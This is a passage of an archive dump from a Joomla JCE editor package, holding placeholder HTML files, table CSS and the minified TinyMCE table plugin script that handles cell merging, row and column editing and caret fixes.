        $settings['file_browser'] = $this->getParam('file_browser', 1) && in_array('browser', explode(',', $profile->plugins));

        return parent::getSettings($settings);
    }
}
editor/tiny_mce/plugins/table/css/index.html000060400000000054150750527150015200 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/table/css/table.css000060400000000226150750527150015005 0ustar00#merge_tab .uk-width-3-10{width:30%!important}#merge_tab .uk-width-7-10{width:70%!important}.uk-grid>*{margin-bottom:5px}#numcols,#numrows{width:50px}editor/tiny_mce/plugins/table/index.html000060400000000054150750527150014410 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/table/editor_plugin.js000060400000103077150750527150015626 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(tinymce){function getSpanVal(td,name){return parseInt(td.getAttribute(name)||1)}function TableGrid(table,dom,selection,settings){function cloneNode(node,children){return node=node.cloneNode(children),node.removeAttribute("id"),node}function buildGrid(){var startY=0;grid=[],gridWidth=0,each(["thead","tbody","tfoot"],function(part){var rows=dom.select("> "+part+" tr",table);each(rows,function(tr,y){y+=startY,each(dom.select("> td, > th",tr),function(td,x){var x2,y2,rowspan,colspan;if(grid[y])for(;grid[y][x];)x++;for(rowspan=getSpanVal(td,"rowspan"),colspan=getSpanVal(td,"colspan"),y2=y;y2<y+rowspan;y2++)for(grid[y2]||(grid[y2]=[]),x2=x;x2<x+colspan;x2++)grid[y2][x2]={part:part,real:y2==y&&x2==x,elm:td,rowspan:rowspan,colspan:colspan};gridWidth=Math.max(gridWidth,x+1)})}),startY+=rows.length})}function getCell(x,y){var row;if(row=grid[y])return row[x]}function setSpanVal(td,name,val){td&&(val=parseInt(val),1===val?td.removeAttribute(name,1):td.setAttribute(name,val,1))}function isCellSelected(cell){return cell&&(dom.hasClass(cell.elm,"mceSelected")||cell==selectedCell)}function getSelectedRows(){var rows=[];return each(table.rows,function(row){each(row.cells,function(cell){if(dom.hasClass(cell,"mceSelected")||cell==selectedCell.elm)return rows.push(row),!1})}),rows}function deleteTable(){var rng=dom.createRng();rng.setStartAfter(table),rng.setEndAfter(table),selection.setRng(rng),dom.remove(table)}function cloneCell(cell){var formatNode,cloneFormats={};return settings.table_clone_elements&&(cloneFormats=tinymce.makeMap((settings.table_clone_elements||"strong em b i span font h1 h2 h3 h4 h5 h6 p div").toUpperCase(),/[ ,]/)),tinymce.walk(cell,function(node){var curNode;if(3==node.nodeType)return each(dom.getParents(node.parentNode,null,cell).reverse(),function(node){cloneFormats[node.nodeName]&&(node=cloneNode(node,!1),formatNode?curNode&&curNode.appendChild(node):formatNode=curNode=node,curNode=node)}),curNode&&(curNode.innerHTML=tinymce.isIE&&!tinymce.isIE11?"&nbsp;":'<br data-mce-bogus="1" />'),!1},"childNodes"),cell=cloneNode(cell,!1),setSpanVal(cell,"rowSpan",1),setSpanVal(cell,"colSpan",1),formatNode?cell.appendChild(formatNode):tinymce.isIE&&!tinymce.isIE11||(cell.innerHTML='<br data-mce-bogus="1" />'),cell}function cleanup(){var rng=dom.createRng();return each(dom.select("tr",table),function(tr){0==tr.cells.length&&dom.remove(tr)}),0==dom.select("tr",table).length?(rng.setStartAfter(table),rng.setEndAfter(table),selection.setRng(rng),void dom.remove(table)):(each(dom.select("thead,tbody,tfoot",table),function(part){0==part.rows.length&&dom.remove(part)}),buildGrid(),row=grid[Math.min(grid.length-1,startPos.y)],void(row&&(selection.select(row[Math.min(row.length-1,startPos.x)].elm,!0),selection.collapse(!0))))}function fillLeftDown(x,y,rows,cols){var tr,x2,r,c,cell;for(tr=grid[y][x].elm.parentNode,r=1;r<=rows;r++)if(tr=dom.getNext(tr,"tr")){for(x2=x;x2>=0;x2--)if(cell=grid[y+r][x2].elm,cell.parentNode==tr){for(c=1;c<=cols;c++)dom.insertAfter(cloneCell(cell),cell);break}if(x2==-1)for(c=1;c<=cols;c++)tr.insertBefore(cloneCell(tr.cells[0]),tr.cells[0])}}function split(){each(grid,function(row,y){each(row,function(cell,x){var colSpan,rowSpan,i;if(isCellSelected(cell)&&(cell=cell.elm,colSpan=getSpanVal(cell,"colspan"),rowSpan=getSpanVal(cell,"rowspan"),colSpan>1||rowSpan>1)){for(setSpanVal(cell,"rowSpan",1),setSpanVal(cell,"colSpan",1),i=0;i<colSpan-1;i++)dom.insertAfter(cloneCell(cell),cell);fillLeftDown(x,y,rowSpan-1,colSpan)}})})}function merge(cell,cols,rows){var startX,startY,endX,endY,x,y,startCell,endCell,cell,children,count;if(cell?(pos=getPos(cell),startX=pos.x,startY=pos.y,endX=startX+(cols-1),endY=startY+(rows-1)):(startPos=endPos=null,each(grid,function(row,y){each(row,function(cell,x){isCellSelected(cell)&&(startPos||(startPos={x:x,y:y}),endPos={x:x,y:y})})}),startX=startPos.x,startY=startPos.y,endX=endPos.x,endY=endPos.y),startCell=getCell(startX,startY),endCell=getCell(endX,endY),startCell&&endCell&&startCell.part==endCell.part){for(split(),buildGrid(),startCell=getCell(startX,startY).elm,setSpanVal(startCell,"colSpan",endX-startX+1),setSpanVal(startCell,"rowSpan",endY-startY+1),y=startY;y<=endY;y++)for(x=startX;x<=endX;x++)grid[y]&&grid[y][x]&&(cell=grid[y][x].elm,cell!=startCell&&(children=tinymce.grep(cell.childNodes),each(children,function(node){startCell.appendChild(node)}),children.length&&(children=tinymce.grep(startCell.childNodes),count=0,each(children,function(node){"BR"==node.nodeName&&dom.getAttrib(node,"data-mce-bogus")&&count++<children.length-1&&startCell.removeChild(node)})),dom.remove(cell)));cleanup()}}function insertRow(before){var posY,cell,lastCell,x,rowElm,newRow,newCell,otherCell,rowSpan;for(each(grid,function(row,y){if(each(row,function(cell,x){if(isCellSelected(cell)&&(cell=cell.elm,rowElm=cell.parentNode,newRow=cloneNode(rowElm,!1),posY=y,before))return!1}),before)return!posY}),x=0;x<grid[0].length;x++)if(grid[posY][x]&&(cell=grid[posY][x].elm,cell!=lastCell)){if(before){if(posY>0&&grid[posY-1][x]&&(otherCell=grid[posY-1][x].elm,rowSpan=getSpanVal(otherCell,"rowSpan"),rowSpan>1)){setSpanVal(otherCell,"rowSpan",rowSpan+1);continue}}else if(rowSpan=getSpanVal(cell,"rowspan"),rowSpan>1){setSpanVal(cell,"rowSpan",rowSpan+1);continue}newCell=cloneCell(cell),setSpanVal(newCell,"colSpan",cell.colSpan),newRow.appendChild(newCell),lastCell=cell}newRow.hasChildNodes()&&(before?rowElm.parentNode.insertBefore(newRow,rowElm):dom.insertAfter(newRow,rowElm))}function insertCol(before){var posX,lastCell;each(grid,function(row,y){if(each(row,function(cell,x){if(isCellSelected(cell)&&(posX=x,before))return!1}),before)return!posX}),each(grid,function(row,y){var cell,rowSpan,colSpan;row[posX]&&(cell=row[posX].elm,cell!=lastCell&&(colSpan=getSpanVal(cell,"colspan"),rowSpan=getSpanVal(cell,"rowspan"),1==colSpan?before?(cell.parentNode.insertBefore(cloneCell(cell),cell),fillLeftDown(posX,y,rowSpan-1,colSpan)):(dom.insertAfter(cloneCell(cell),cell),fillLeftDown(posX,y,rowSpan-1,colSpan)):setSpanVal(cell,"colSpan",cell.colSpan+1),lastCell=cell))})}function deleteCols(){var cols=[];each(grid,function(row,y){each(row,function(cell,x){isCellSelected(cell)&&tinymce.inArray(cols,x)===-1&&(each(grid,function(row){var colSpan,cell=row[x].elm;colSpan=getSpanVal(cell,"colSpan"),colSpan>1?setSpanVal(cell,"colSpan",colSpan-1):dom.remove(cell)}),cols.push(x))})}),cleanup()}function deleteRows(){function deleteRow(tr){var nextTr,pos,lastCell;nextTr=dom.getNext(tr,"tr"),each(tr.cells,function(cell){var rowSpan=getSpanVal(cell,"rowSpan");rowSpan>1&&(setSpanVal(cell,"rowSpan",rowSpan-1),pos=getPos(cell),fillLeftDown(pos.x,pos.y,1,1))}),pos=getPos(tr.cells[0]),each(grid[pos.y],function(cell){var rowSpan;cell=cell.elm,cell!=lastCell&&(rowSpan=getSpanVal(cell,"rowSpan"),rowSpan<=1?dom.remove(cell):setSpanVal(cell,"rowSpan",rowSpan-1),lastCell=cell)})}var rows;rows=getSelectedRows(),each(rows.reverse(),function(tr){deleteRow(tr)}),cleanup()}function cutRows(){var rows=getSelectedRows();return dom.remove(rows),cleanup(),rows}function copyRows(){var rows=getSelectedRows();return each(rows,function(row,i){rows[i]=cloneNode(row,!0)}),rows}function pasteRows(rows,before){if(rows){var selectedRows=getSelectedRows(),targetRow=selectedRows[before?0:selectedRows.length-1],targetCellCount=targetRow.cells.length;each(grid,function(row){var match;if(targetCellCount=0,each(row,function(cell,x){cell.real&&(targetCellCount+=cell.colspan),cell.elm.parentNode==targetRow&&(match=1)}),match)return!1}),before||rows.reverse(),each(rows,function(row){var cell,cellCount=row.cells.length;for(i=0;i<cellCount;i++)cell=row.cells[i],setSpanVal(cell,"colSpan",1),setSpanVal(cell,"rowSpan",1);for(i=cellCount;i<targetCellCount;i++)row.appendChild(cloneCell(row.cells[cellCount-1]));for(i=targetCellCount;i<cellCount;i++)dom.remove(row.cells[i]);before?targetRow.parentNode.insertBefore(row,targetRow):dom.insertAfter(row,targetRow)}),dom.removeClass(dom.select("td.mceSelected,th.mceSelected"),"mceSelected")}}function getPos(target){var pos;return each(grid,function(row,y){return each(row,function(cell,x){if(cell.elm==target)return pos={x:x,y:y},!1}),!pos}),pos}function setStartCell(cell){startPos=getPos(cell)}function findEndPos(){var maxX,maxY;return maxX=maxY=0,each(grid,function(row,y){each(row,function(cell,x){var colSpan,rowSpan;isCellSelected(cell)&&(cell=grid[y][x],x>maxX&&(maxX=x),y>maxY&&(maxY=y),cell.real&&(colSpan=cell.colspan-1,rowSpan=cell.rowspan-1,colSpan&&x+colSpan>maxX&&(maxX=x+colSpan),rowSpan&&y+rowSpan>maxY&&(maxY=y+rowSpan)))})}),{x:maxX,y:maxY}}function setEndCell(cell){var startX,startY,endX,endY,maxX,maxY,colSpan,rowSpan;if(endPos=getPos(cell),startPos&&endPos){for(startX=Math.min(startPos.x,endPos.x),startY=Math.min(startPos.y,endPos.y),endX=Math.max(startPos.x,endPos.x),endY=Math.max(startPos.y,endPos.y),maxX=endX,maxY=endY,y=startY;y<=maxY;y++)cell=grid[y][startX],cell.real||startX-(cell.colspan-1)<startX&&(startX-=cell.colspan-1);for(x=startX;x<=maxX;x++)cell=grid[startY][x],cell.real||startY-(cell.rowspan-1)<startY&&(startY-=cell.rowspan-1);for(y=startY;y<=endY;y++)for(x=startX;x<=endX;x++)cell=grid[y][x],cell.real&&(colSpan=cell.colspan-1,rowSpan=cell.rowspan-1,colSpan&&x+colSpan>maxX&&(maxX=x+colSpan),rowSpan&&y+rowSpan>maxY&&(maxY=y+rowSpan));for(dom.removeClass(dom.select("td.mceSelected,th.mceSelected"),"mceSelected"),y=startY;y<=maxY;y++)for(x=startX;x<=maxX;x++)grid[y][x]&&dom.addClass(grid[y][x].elm,"mceSelected")}}function moveRelIdx(cellElm,delta){var pos,index,cell;pos=getPos(cellElm),index=pos.y*gridWidth+pos.x;do{if(index+=delta,cell=getCell(index%gridWidth,Math.floor(index/gridWidth)),!cell)break;if(cell.elm!=cellElm)return selection.select(cell.elm,!0),dom.isEmpty(cell.elm)&&selection.collapse(!0),!0}while(cell.elm==cellElm);return!1}var grid,startPos,endPos,selectedCell,gridWidth;buildGrid(),selectedCell=dom.getParent(selection.getStart(),"th,td"),selectedCell&&(startPos=getPos(selectedCell),endPos=findEndPos(),selectedCell=getCell(startPos.x,startPos.y)),tinymce.extend(this,{deleteTable:deleteTable,split:split,merge:merge,insertRow:insertRow,insertCol:insertCol,deleteCols:deleteCols,deleteRows:deleteRows,cutRows:cutRows,copyRows:copyRows,pasteRows:pasteRows,getPos:getPos,setStartCell:setStartCell,setEndCell:setEndCell,moveRelIdx:moveRelIdx,refresh:buildGrid})}var DOM=tinymce.DOM,Event=tinymce.dom.Event,each=(tinymce.is,tinymce.each),VK=tinymce.VK,TreeWalker=tinymce.dom.TreeWalker;tinymce.create("tinymce.plugins.TablePlugin",{init:function(ed,url){function createTableGrid(node){var selection=ed.selection,tblElm=ed.dom.getParent(node||selection.getNode(),"table");if(tblElm)return new TableGrid(tblElm,ed.dom,selection,ed.settings)}function cleanup(force){ed.getBody().style.webkitUserSelect="",(force||hasCellSelection)&&(ed.dom.removeClass(ed.dom.select("td.mceSelected,th.mceSelected"),"mceSelected"),hasCellSelection=!1)}var winMan,clipboardRows,hasCellSelection=!0;this.editor=ed,ed.addButton("table","table.desc","mceInsertTable",!0),ed.getParam("table_buttons",1)&&each([["table","table.desc","mceInsertTable",!0],["delete_table","table.del","mceTableDelete"],["delete_col","table.delete_col_desc","mceTableDeleteCol"],["delete_row","table.delete_row_desc","mceTableDeleteRow"],["col_after","table.col_after_desc","mceTableInsertColAfter"],["col_before","table.col_before_desc","mceTableInsertColBefore"],["row_after","table.row_after_desc","mceTableInsertRowAfter"],["row_before","table.row_before_desc","mceTableInsertRowBefore"],["row_props","table.row_desc","mceTableRowProps",!0],["cell_props","table.cell_desc","mceTableCellProps",!0],["split_cells","table.split_cells_desc","mceTableSplitCells",!0],["merge_cells","table.merge_cells_desc","mceTableMergeCells",!0]],function(c){ed.addButton(c[0],{title:c[1],cmd:c[2],ui:c[3]})}),ed.onPreProcess.add(function(ed,args){var nodes,i,node,value,dom=ed.dom;if("html4"===ed.settings.schema)for(nodes=dom.select("table,td,th,tr",args.node),i=nodes.length;i--;){node=nodes[i],dom.setAttrib(node,"data-mce-style",""),"auto"===dom.getStyle(node,"margin-left")&&"auto"===dom.getStyle(node,"margin-right")&&(dom.setAttrib(node,"align","center"),dom.setStyles(node,{"margin-left":"","margin-right":""}));var flt=dom.getStyle(node,"float");"left"!==flt&&"right"!==flt||(dom.setAttrib(node,"align",flt),dom.setStyle(node,"float",""));var textAlign=dom.getStyle(node,"text-align");textAlign&&(dom.setAttrib(node,"align",textAlign),dom.setStyle(node,"text-align",""))}for(nodes=dom.select("table, td, th",args.node),i=nodes.length;i--;)node=nodes[i],dom.setAttrib(node,"data-mce-style",""),(value=dom.getAttrib(node,"width"))&&(dom.setStyle(node,"width",value),dom.setAttrib(node,"width","")),(value=dom.getAttrib(node,"height"))&&(dom.setStyle(node,"height",value),dom.setAttrib(node,"height",""))}),ed.onNodeChange.add(function(ed,cm,n){var p;n=ed.selection.getStart(),p=ed.dom.getParent(n,"td,th,caption"),cm.setActive("table","TABLE"===n.nodeName||!!p),p&&"CAPTION"===p.nodeName&&(p=0),ed.getParam("table_buttons",1)&&(cm.setDisabled("delete_table",!p),cm.setDisabled("delete_col",!p),cm.setDisabled("delete_table",!p),cm.setDisabled("delete_row",!p),cm.setDisabled("col_after",!p),cm.setDisabled("col_before",!p),cm.setDisabled("row_after",!p),cm.setDisabled("row_before",!p),cm.setDisabled("row_props",!p),cm.setDisabled("cell_props",!p),cm.setDisabled("split_cells",!p),cm.setDisabled("merge_cells",!p),cm.setDisabled("table_props",!p))}),tinymce.isIE||ed.onClick.add(function(ed,e){e=e.target,"TABLE"===e.nodeName&&(ed.selection.select(e),ed.nodeChanged())}),ed.onInit.add(function(ed){function isCellInTable(table,cell){return!(!table||!cell)&&table===dom.getParent(cell,"table")}function fixDragSelection(){var startCell,startTable,lastMouseOverTarget;ed.onMouseDown.add(function(ed,e){2!=e.button&&(cleanup(),startCell=dom.getParent(e.target,"td,th"),startTable=dom.getParent(startCell,"table"))}),dom.bind(ed.getDoc(),"mouseover",function(e){var sel,currentCell,target=e.target;if(!resizing&&!dragging&&target!==lastMouseOverTarget&&(lastMouseOverTarget=target,startTable&&startCell)){if(currentCell=dom.getParent(target,"td,th"),isCellInTable(startTable,currentCell)||(currentCell=dom.getParent(startTable,"td,th")),startCell===currentCell&&!hasCellSelection)return;if(isCellInTable(startTable,currentCell)){e.preventDefault(),tableGrid||(tableGrid=createTableGrid(startTable),tableGrid.setStartCell(startCell),ed.getBody().style.webkitUserSelect="none"),tableGrid.setEndCell(currentCell),hasCellSelection=!0,sel=ed.selection.getSel();try{sel.removeAllRanges?sel.removeAllRanges():sel.empty()}catch(ex){}}}}),ed.onMouseUp.add(function(){function setPoint(node,start){var walker=new TreeWalker(node,node);do{if(3==node.nodeType)return void(start?rng.setStart(node,0):rng.setEnd(node,node.nodeValue.length));if("BR"==node.nodeName)return void(start?rng.setStartBefore(node):rng.setEndBefore(node))}while(node=start?walker.next():walker.prev())}var rng,selectedCells,walker,node,lastNode,sel=ed.selection;if(startCell){if(tableGrid&&(ed.getBody().style.webkitUserSelect=""),selectedCells=dom.select("td.mceSelected,th.mceSelected"),selectedCells.length>0){var parent=dom.getParent(selectedCells[0],"table");rng=dom.createRng(),node=selectedCells[0],rng.setStartBefore(node),rng.setEndAfter(node),setPoint(node,1),walker=new TreeWalker(node,parent);do if("TD"==node.nodeName||"TH"==node.nodeName){if(!dom.hasClass(node,"mceSelected"))break;lastNode=node}while(node=walker.next());setPoint(lastNode),sel.setRng(rng)}ed.nodeChanged(),startCell=tableGrid=startTable=lastMouseOverTarget=null}})}function moveWebKitSelection(){function eventHandler(e){function handle(upBool,sourceNode){var siblingDirection=upBool?"previousSibling":"nextSibling",currentRow=ed.dom.getParent(sourceNode,"tr"),siblingRow=currentRow[siblingDirection];if(siblingRow)return moveCursorToRow(editor,sourceNode,siblingRow,upBool),e.preventDefault(),!0;var tableNode=ed.dom.getParent(currentRow,"table"),middleNode=currentRow.parentNode,parentNodeName=middleNode.nodeName.toLowerCase();if("tbody"===parentNodeName||parentNodeName===(upBool?"tfoot":"thead")){var targetParent=getTargetParent(upBool,tableNode,middleNode,"tbody");if(null!==targetParent)return moveToRowInTarget(upBool,targetParent,sourceNode)}return escapeTable(upBool,currentRow,siblingDirection,tableNode)}function getTargetParent(upBool,topNode,secondNode,nodeName){var tbodies=ed.dom.select(">"+nodeName,topNode),position=tbodies.indexOf(secondNode);if(upBool&&0===position||!upBool&&position===tbodies.length-1)return getFirstHeadOrFoot(upBool,topNode);if(position===-1){var topOrBottom="thead"===secondNode.tagName.toLowerCase()?0:tbodies.length-1;return tbodies[topOrBottom]}return tbodies[position+(upBool?-1:1)]}function getFirstHeadOrFoot(upBool,parent){var tagName=upBool?"thead":"tfoot",headOrFoot=ed.dom.select(">"+tagName,parent);return 0!==headOrFoot.length?headOrFoot[0]:null}function moveToRowInTarget(upBool,targetParent,sourceNode){var targetRow=getChildForDirection(targetParent,upBool);return targetRow&&moveCursorToRow(editor,sourceNode,targetRow,upBool),e.preventDefault(),!0}function escapeTable(upBool,currentRow,siblingDirection,table){var tableSibling=table[siblingDirection];if(tableSibling)return moveCursorToStartOfElement(tableSibling),!0;var parentCell=ed.dom.getParent(table,"td,th");if(parentCell)return handle(upBool,parentCell,e);var backUpSibling=getChildForDirection(currentRow,!upBool);return moveCursorToStartOfElement(backUpSibling),e.preventDefault(),!1}function getChildForDirection(parent,up){var child=parent&&parent[up?"lastChild":"firstChild"];return child&&"BR"===child.nodeName?ed.dom.getParent(child,"td,th"):child}function moveCursorToStartOfElement(n){ed.selection.setCursorLocation(n,0)}function isVerticalMovement(){return key==VK.UP||key==VK.DOWN}function isInTable(editor){var node=ed.selection.getNode(),currentRow=ed.dom.getParent(node,"tr");return null!==currentRow}function columnIndex(column){for(var colIndex=0,c=column;c.previousSibling;)c=c.previousSibling,colIndex+=getSpanVal(c,"colspan");return colIndex}function findColumn(rowElement,columnIndex){var c=0,r=0;return each(rowElement.children,function(cell,i){if(c+=getSpanVal(cell,"colspan"),r=i,c>columnIndex)return!1}),r}function moveCursorToRow(ed,node,row,upBool){var srcColumnIndex=columnIndex(ed.dom.getParent(node,"td,th")),tgtColumnIndex=findColumn(row,srcColumnIndex),tgtNode=row.childNodes[tgtColumnIndex],rowCellTarget=getChildForDirection(tgtNode,upBool);moveCursorToStartOfElement(rowCellTarget||tgtNode)}function shouldFixCaret(preBrowserNode){var newNode=ed.selection.getNode(),newParent=ed.dom.getParent(newNode,"td,th"),oldParent=ed.dom.getParent(preBrowserNode,"td,th");return newParent&&newParent!==oldParent&&checkSameParentTable(newParent,oldParent)}function checkSameParentTable(nodeOne,NodeTwo){return ed.dom.getParent(nodeOne,"TABLE")===ed.dom.getParent(NodeTwo,"TABLE")}var key=e.keyCode;if(isVerticalMovement()&&isInTable(editor)){var preBrowserNode=ed.selection.getNode();Delay.setEditorTimeout(editor,function(){shouldFixCaret(preBrowserNode)&&handle(!e.shiftKey&&key===VK.UP,preBrowserNode,e)},0)}}ed.onKeyDown.add(function(e){eventHandler(e)})}function fixBeforeTableCaretBug(){function isAtStart(rng,par){var elm,doc=par.ownerDocument,rng2=doc.createRange();return rng2.setStartBefore(par),rng2.setEnd(rng.endContainer,rng.endOffset),elm=doc.createElement("body"),elm.appendChild(rng2.cloneContents()),0===elm.innerHTML.replace(/<(br|img|object|embed|input|textarea)[^>]*>/gi,"-").replace(/<[^>]+>/g,"").length}ed.onKeyDown.add(function(e){var rng,table,dom=ed.dom;37!=e.keyCode&&38!=e.keyCode||(rng=ed.selection.getRng(),table=dom.getParent(rng.startContainer,"table"),table&&ed.getBody().firstChild==table&&isAtStart(rng,table)&&(rng=dom.createRng(),rng.setStartBefore(table),rng.setEndBefore(table),ed.selection.setRng(rng),e.preventDefault()))})}function fixTableCaretPos(){ed.dom.bind("KeyDown SetContent VisualAid",function(){var last;for(last=ed.getBody().lastChild;last;last=last.previousSibling)if(3==last.nodeType){if(last.nodeValue.length>0)break}else if(1==last.nodeType&&("BR"==last.tagName||!last.getAttribute("data-mce-bogus")))break;last&&"TABLE"==last.nodeName&&(ed.settings.forced_root_block?ed.dom.add(ed.getBody(),ed.settings.forced_root_block,ed.settings.forced_root_block_attrs,tinymce.isIE&&tinymce.isIE<10?"&nbsp;":'<br data-mce-bogus="1" />'):ed.dom.add(ed.getBody(),"br",{"data-mce-bogus":"1"}))}),ed.onPreProcess.add(function(ed,o){var last=o.node.lastChild;last&&("BR"==last.nodeName||1==last.childNodes.length&&("BR"==last.firstChild.nodeName||" "==last.firstChild.nodeValue))&&last.previousSibling&&"TABLE"==last.previousSibling.nodeName&&ed.dom.remove(last)})}function fixTableCellSelection(){function tableCellSelected(ed,rng,n,currentCell){var tableParent,allOfCellSelected,tableCellSelection,TEXT_NODE=3,table=ed.dom.getParent(rng.startContainer,"TABLE");return table&&(tableParent=table.parentNode),allOfCellSelected=rng.startContainer.nodeType==TEXT_NODE&&0===rng.startOffset&&0===rng.endOffset&&currentCell&&("TR"==n.nodeName||n==tableParent),tableCellSelection=("TD"==n.nodeName||"TH"==n.nodeName)&&!currentCell,allOfCellSelected||tableCellSelection}function fixSelection(){var rng=ed.selection.getRng(),n=ed.selection.getNode(),currentCell=ed.dom.getParent(rng.startContainer,"TD,TH");if(tableCellSelected(ed,rng,n,currentCell)){currentCell||(currentCell=n);for(var end=currentCell.lastChild;end.lastChild;)end=end.lastChild;3==end.nodeType&&(rng.setEnd(end,end.data.length),ed.selection.setRng(rng))}}ed.onKeyDown.add(function(){fixSelection()}),ed.onMouseDown.add(function(e){2!=e.button&&fixSelection()})}function deleteTable(){function placeCaretInCell(cell){ed.selection.select(cell,!0),ed.selection.collapse(!0)}function clearCell(cell){ed.dom.empty(cell),paddCell(cell)}ed.onKeyDown.add(function(e){if((e.keyCode==VK.DELETE||e.keyCode==VK.BACKSPACE)&&!e.isDefaultPrevented()){var table,tableCells,selectedTableCells,cell;if(table=ed.dom.getParent(ed.selection.getStart(),"table")){if(tableCells=ed.dom.select("td,th",table),selectedTableCells=tinymce.grep(tableCells,function(cell){return!!ed.dom.getAttrib(cell,"data-mce-selected")}),0===selectedTableCells.length)return cell=ed.dom.getParent(ed.selection.getStart(),"td,th"),void(ed.selection.isCollapsed()&&cell&&ed.dom.isEmpty(cell)&&(e.preventDefault(),clearCell(cell),placeCaretInCell(cell)));e.preventDefault(),ed.undoManager.add(),tableCells.length==selectedTableCells.length?ed.execCommand("mceTableDelete"):(tinymce.each(selectedTableCells,clearCell),placeCaretInCell(selectedTableCells[0]))}}})}function handleDeleteInCaption(){var isTableCaptionNode=function(node){return node&&"CAPTION"==node.nodeName&&"TABLE"==node.parentNode.nodeName},restoreCaretPlaceholder=function(node,insertCaret){var rng=ed.selection.getRng(),caretNode=node.ownerDocument.createTextNode(" ");rng.startOffset?node.insertBefore(caretNode,node.firstChild):node.appendChild(caretNode),insertCaret&&(ed.selection.select(caretNode,!0),ed.selection.collapse(!0))},deleteBtnPressed=function(e){return(e.keyCode==VK.DELETE||e.keyCode==VK.BACKSPACE)&&!e.isDefaultPrevented()},getSingleChildNode=function(node){return node.firstChild===node.lastChild&&node.firstChild},isTextNode=function(node){return node&&3===node.nodeType},getSingleChr=function(node){var childNode=getSingleChildNode(node);return isTextNode(childNode)&&1===childNode.data.length?childNode.data:null},hasNoCaretPlaceholder=function(node){var childNode=getSingleChildNode(node),chr=getSingleChr(node);return childNode&&!isTextNode(childNode)||chr&&!isNBSP(chr)},isEmptyNode=function(node){return ed.dom.isEmpty(node)||isNBSP(getSingleChr(node))},isNBSP=function(chr){return" "===chr};ed.onKeyDown.add(function(e){if(deleteBtnPressed(e)){var container=ed.dom.getParent(ed.selection.getStart(),"caption");isTableCaptionNode(container)&&(tinymce.isIE&&(ed.selection.isCollapsed()?hasNoCaretPlaceholder(container)&&restoreCaretPlaceholder(container):(ed.undoManager.add(),ed.execCommand("Delete"),isEmptyNode(container)&&restoreCaretPlaceholder(container,!0),e.preventDefault())),isEmptyNode(container)&&e.preventDefault())}})}var tableGrid,resizing,dragging,dom=ed.dom;winMan=ed.windowManager,"html4"===ed.settings.schema&&tinymce.each("left,center,right,full".split(","),function(name){var fmts=ed.formatter.get("align"+name);tinymce.each(fmts,function(fmt){fmt.onformat=function(elm,fmt){/^(TABLE|TH|TD|TR)$/.test(elm.nodeName)&&("full"===name&&(name="justify"),ed.dom.setAttrib(elm,"align",name))}})}),ed.onKeyUp.add(function(ed,e){cleanup()}),ed.onSetContent.add(function(ed,e){cleanup(!0)}),deleteTable(),handleDeleteInCaption(),fixDragSelection(),tinymce.isWebKit&&(moveWebKitSelection(),fixTableCellSelection()),tinymce.isGecko&&(fixBeforeTableCaretBug(),fixTableCaretPos()),(tinymce.isIE>9||tinymce.isIE12)&&(fixBeforeTableCaretBug(),fixTableCaretPos()),ed&&ed.plugins.contextmenu&&ed.plugins.contextmenu.onContextMenu.add(function(th,m,e){var sm,se=ed.selection;se.getNode()||ed.getBody();ed.dom.getParent(e,"td")||ed.dom.getParent(e,"th")||ed.dom.select("td.mceSelected,th.mceSelected").length?(m.add({title:"table.desc",icon:"table",cmd:"mceInsertTable",value:{action:"insert"}}),m.add({title:"table.props_desc",icon:"table_props",cmd:"mceInsertTable"}),m.add({title:"table.del",icon:"delete_table",cmd:"mceTableDelete"}),m.addSeparator(),sm=m.addMenu({title:"table.cell"}),sm.add({title:"table.cell_desc",icon:"cell_props",cmd:"mceTableCellProps"}),sm.add({title:"table.split_cells_desc",icon:"split_cells",cmd:"mceTableSplitCells"}),sm.add({title:"table.merge_cells_desc",icon:"merge_cells",cmd:"mceTableMergeCells"}),sm=m.addMenu({title:"table.row"}),sm.add({title:"table.row_desc",icon:"row_props",cmd:"mceTableRowProps"}),sm.add({title:"table.row_before_desc",icon:"row_before",cmd:"mceTableInsertRowBefore"}),sm.add({title:"table.row_after_desc",icon:"row_after",cmd:"mceTableInsertRowAfter"}),sm.add({title:"table.delete_row_desc",icon:"delete_row",cmd:"mceTableDeleteRow"}),sm.addSeparator(),sm.add({title:"table.cut_row_desc",icon:"cut",cmd:"mceTableCutRow"}),sm.add({title:"table.copy_row_desc",icon:"copy",cmd:"mceTableCopyRow"}),sm.add({title:"table.paste_row_before_desc",icon:"paste",cmd:"mceTablePasteRowBefore"}).setDisabled(!clipboardRows),sm.add({title:"table.paste_row_after_desc",icon:"paste",cmd:"mceTablePasteRowAfter"}).setDisabled(!clipboardRows),sm=m.addMenu({title:"table.col"}),sm.add({title:"table.col_before_desc",icon:"col_before",cmd:"mceTableInsertColBefore"}),sm.add({title:"table.col_after_desc",icon:"col_after",cmd:"mceTableInsertColAfter"}),sm.add({title:"table.delete_col_desc",icon:"delete_col",cmd:"mceTableDeleteCol"})):m.add({title:"table.desc",icon:"table",cmd:"mceInsertTable"})})});var url=ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=table";each({mceTableSplitCells:function(grid){grid.split()},mceTableMergeCells:function(grid){var rowSpan,colSpan,cell;cell=ed.dom.getParent(ed.selection.getNode(),"th,td"),cell&&(rowSpan=cell.rowSpan,colSpan=cell.colSpan),ed.dom.select("td.mceSelected,th.mceSelected").length?grid.merge():winMan.open({url:url+"&layout=merge",width:240+parseInt(ed.getLang("table.merge_cells_delta_width",0)),height:170+parseInt(ed.getLang("table.merge_cells_delta_height",0)),inline:1},{rows:rowSpan,cols:colSpan,onaction:function(data){grid.merge(cell,data.cols,data.rows)},plugin_url:url,layout:"merge"})},mceTableInsertRowBefore:function(grid){grid.insertRow(!0)},mceTableInsertRowAfter:function(grid){grid.insertRow()},mceTableInsertColBefore:function(grid){grid.insertCol(!0)},mceTableInsertColAfter:function(grid){grid.insertCol()},mceTableDeleteCol:function(grid){grid.deleteCols()},mceTableDeleteRow:function(grid){grid.deleteRows()},mceTableCutRow:function(grid){clipboardRows=grid.cutRows()},mceTableCopyRow:function(grid){clipboardRows=grid.copyRows()},mceTablePasteRowBefore:function(grid){grid.pasteRows(clipboardRows,!0)},mceTablePasteRowAfter:function(grid){grid.pasteRows(clipboardRows)},mceTableDelete:function(grid){grid.dele